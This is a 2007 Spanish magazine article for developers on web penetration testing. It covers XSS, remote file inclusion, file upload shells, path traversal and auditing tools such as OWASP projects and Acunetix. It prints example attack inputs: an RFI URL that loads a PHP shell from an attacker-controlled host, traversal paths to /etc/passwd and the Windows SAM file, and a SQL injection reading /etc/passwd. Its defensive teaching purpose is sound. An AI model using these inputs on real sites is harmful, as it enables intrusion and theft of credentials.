Test Intrusión Web (parte II de II)

**********************************************************************************
Artículo publicado en PCWorld Mayo de 2007.
Lee la primera parte en Test Intrusión Web (parte I de II)
**********************************************************************************

Cross-Site Scripting (XSS)

Si tu aplicación recoge datos desde los clientes y van a ser mostrados a otros usuarios, como por ejemplo un foro, un listado de peticiones, mensajes de contacto desde fuera, o cualquier texto o dato debe ser filtrado correctamente para evitar que se almacenen programas escritos en javascript que cuando se muestren le permitan al atacante robarte la cookie de la sesión, hacer un defacement u obligarte a realizar acciones que no quieres. Imagina un sistema de mensajes de contacto, alguien te manda un mensaje y en él va escrito un programa javascript que coge tu cookie y la envía utilizando AJAX (de forma asíncrona y sin mostrar ningún efecto en tu navegador) a un servidor controlado. A partir de ese momento el usuario podrá controlar tu sesión. Este ataque se llama hijacking de sesión, es muy usado para robar las contraseñas de los correos basados en web o cuentas de foros. Otra ataque que se realiza es el forzado de acciones, imagina que eres un usuario administrador del sitio y te obligan a ejecutar una llamada a creausuario.php?u=ramon&passw=•$FAsfg sin que tu te des cuenta. En las webs de concursos públicos, donde cada usuario puede votar, son corrientes estos ataques, para conseguir subir los votos de “tu campeón”. Para probar estas vulnerabilidades se envían en todos los parámetros que vayan desde el cliente al servidor comandos [script] para detectar si los acepta o no. Puede que la forma en la que se filtran no sea segura y que codificándolos en Unicode o usando secuencias de escape se puedan saltar los filtros, así que es conveniente que las funciones y mecanismos de filtrado sean correctamente evaluadas.

Todo parámetro que vaya a almacenarse en el servidor y que posteriormente vaya a ser mostrado en alguna página web debe ser comprobado para evitar que se envíe información dañina a un usuario desde otro usuario. Existen tecnologías, como ASP.NET en las cuales esta comprobación va por defecto y no se permite ningún parámetro que lleve etiquetas HTML o código JavaScript. No obstante, es importante que se realice comprobación, por parte del programador de este tipo de acciones.

XSS para robar una cookie
Remote File Inclusion

En el caso de los ataques Remote File Inclusión (RFI) el usuario busca algún parámetro utilizado en la aplicación en el que se vea que el usuario está realizando una inclusión de programas de servidor. En muchas tecnologías de desarrollo no se permite la inclusión de códigos en el lado del servidor desde ubicaciones remotas, pero algunas, como PHP, sí que la permiten. Desarrollos del tipo http://miserver/plantilla.php?pagina=noticias.php donde noticas.php es una aplicación que se va a incluir en la ejecución de plantilla.php. El atacante busca introducir una shell en el lado del servidor desde una ubicación controlada. http://miserver/plantilla.php?pagina=http://servercontrolado/php_shell.php. Para detectar este tipo de vulnerabilidades existen herramientas como RPVS.

RPVS
Ataque RFI con cbreak para ver el código fuente
WebTrojans

Los ataques de Webtrojans buscan explotar vulnerabilidades en la recepción de archivos por parte de los websites, por ejemplo aquellos en los que se pide un curriculo o una foto o cualquier cosa que implique que el visitante o usuario de la aplicación tenga que enviar un fichero desde el cliente.

Si los ficheros no están bien filtrados, son almacenados en una ubicación pública y además en un directorio en el que no se han restringido los permisos de ejecución, entonces el usuario podrá subir un webtrojan que podrá hacer tantas cosas como permisos tenga el usuario que representa al servicio http dentro del servidor web. Podrá ver ficheros no publicados, copiar, borrar, modificar ficheros, etc… ¡¡Todo muy divertido!! Si tienes un aplicativo donde algún usuario puede subir ficheros al servidor, revisa correctamente donde se almacenan, que permisos tienen y que tipo de ficheros se permiten subir. Las Shells PHP, shells JSP o ASP.NET son usadas en este tipo de ataques.

Webtrojan
El cucharón

¿Devulve ficheros tu aplicación mediante algún procedimiento? Si has creado un sistema del tipo descarga_fichero.php?id=fichero.pdf ten en cuenta como funciona tu programa contra una manipulación de la ruta, es decir, si alguien pusiera, por ejemplo descarga_fichero.php?id=../../../../etc/passwd o descarga_fichero.php?id=c:\windows\repair\sam. ¿suena a ciencia ficción verdad? Esto también tiene su versión con sql injection. Imaginemos un entorno del tipo descarga_fichero.jsp?file_id=323. En este caso, el programa esta accediendo a una base de datos / fichero Xml a obtener la ruta dónde está almacenado ese fichero dentro del servidor y recibirá algo como H:\datos\ficheros\mifile.pdf. Con SQL Injection en ese parámetros (o XPath Injection) alguien podría hacer algo como descarga_fichero.jsp?file_id=0 union select ‘/etc/passwd’ from any_table. ¿cómo se comporta tu aplicativo? ¿Están bien todos los permisos? Al final, no es nada más que una vulnerabilidad de directory transversal más un código que devuelva ficheros más vulnerabilidad necesaria para poner rutas. Pero queda gracioso, ¿no?

Código descargar.php que no realiza ninguna comprobación y permite descargar cualquier fichero donde el usuario con que está instalado el servidor web tenga acceso.
Auditoria de las acciones del usuario

No solo deben auditarse las acciones referidas a errores, sino todas acciones que realice un usuario dentro de la aplicación. Dicha información ayuda a crear un perfil de uso de la aplicación, permitiendo detectar ataques por anomalías de uso en el perfil. Por ejemplo usuarios que se conectan desde otros países o usuarios que consultan 50 veces por hora la cartelera. Esas acciones anómalas suelen significar la presencia de un ataque.

OWASP

Open Web Application Security Project es una comunidad que se ha creado para generar una metodología de trabajo seguro en aplicaciones web. Dicho proyecto no solo está formado por una amplia colección de guías que ayudan al desarrollo y la auditoría sino también por herramientas que ayuden a la evolución. Dicho proyecto tiene desarrollado un modelo de amenazas y recomendaciones y mecanismos de seguridad para aplicaciones web que trabajan con criptografía, servicios web, conexiones AJAX, sistemas de ficheros, aplicaciones compiladas y script, protección contra phising, etc…

Dentro de OWASP están enmarcadas muchas aplicaciones para el análisis de la seguridad en la web. Pantera, Sprajax, WSFuzzer, WebGoat y el famoso WebScarab son algunas de las principales herramientas englobadas en el proyecto.

Webscarab
Toda la información del proyecto está disponible en una wiki en la siguiente URL: http://www.owasp.org/index.php/Guide_Table_of_Contents

Otras Herramientas de auditoría

Cada carpintero con sus tools. En OWASP existen muchas para diversas pruebas, algunas de las que uso yo son Achilles, Odysseus y Burpproxy como herramientas de MITM en el cliente y análisis de datos en transferencia. Fiddler de Microsoft, es una herramienta para debugging http Proxy muy útil. Para los amantes de firefox existen un montón de plugins para realizar las pruebas de auditoría, la gente de Security Database las han catalogado y es posible acceder a la información de todas ellas en el siguiente documento PDF.

Microsoft Fiddler
Fiddler en acción
Acunetix Web Vulnerability Scanner

A la hora de automatizar este tipo de auditorías existen herramientas que analizan los parámetros de los aplicativos de tu web y realizan comprobaciones contra XSS, SQL Injection, RFI (Remote File Inclusion), etc… Una de mis preferidas es esta: Acunetix WVS. Esta herramienta “machaca” literalmente la web a pruebas de seguridad y realiza los análisis de estructura del sitio, machea el sitio contra la Google Hacking Database (GHDB) buscando descuidos de configuración, realiza pruebas de autenticación con usuarios comunes, etc… Si no eres un experto en seguridad y no puedes permitirte un test de intrusión porque tienes muchas webs que auditar o porque no deseas que otro vea tus webs, esta es una alternativa perfecta. Puedes descargar una versión de evaluación de http://www.acunetix.com

Acunetix
Los Retos Hacking

La test de intrusión en aplicaciones web generan un gran interés. Quizás por qué es como resolver un puzzle o porque cada uno es distinto. Los “War Games”, que si cuentan con un buen “master”, al igual que los juegos de rol, son divertidísimos. Aun están disponibles 9 de los 10 niveles que nos propusieron Cuartango y Cristóbal de Instisec en http://www.boinasnegras.com. También tienes disponibles los retos de El Lado del Mal (Reto 1, Reto 2 y Reto 3). Otros disponibles son el Reto de Pedro Laguna o los Warzones de elhacker.net Y si quieres hacer “trampas” hay algun “solucionario” en la red.

**********************************************************************************
Artículo publicado en PCWorld Mayo de 2007.
Lee la primera parte en Test Intrusión Web (parte I de II)
**********************************************************************************